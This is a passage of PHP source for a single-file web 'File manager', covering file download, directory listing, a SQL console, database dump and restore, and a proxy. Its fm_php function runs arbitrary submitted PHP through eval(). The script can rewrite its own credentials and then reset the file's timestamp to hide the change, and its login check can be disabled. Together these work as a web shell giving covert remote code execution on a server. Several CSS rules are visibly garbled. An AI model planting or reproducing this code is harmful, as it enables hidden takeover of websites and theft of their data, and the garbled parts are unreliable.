		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
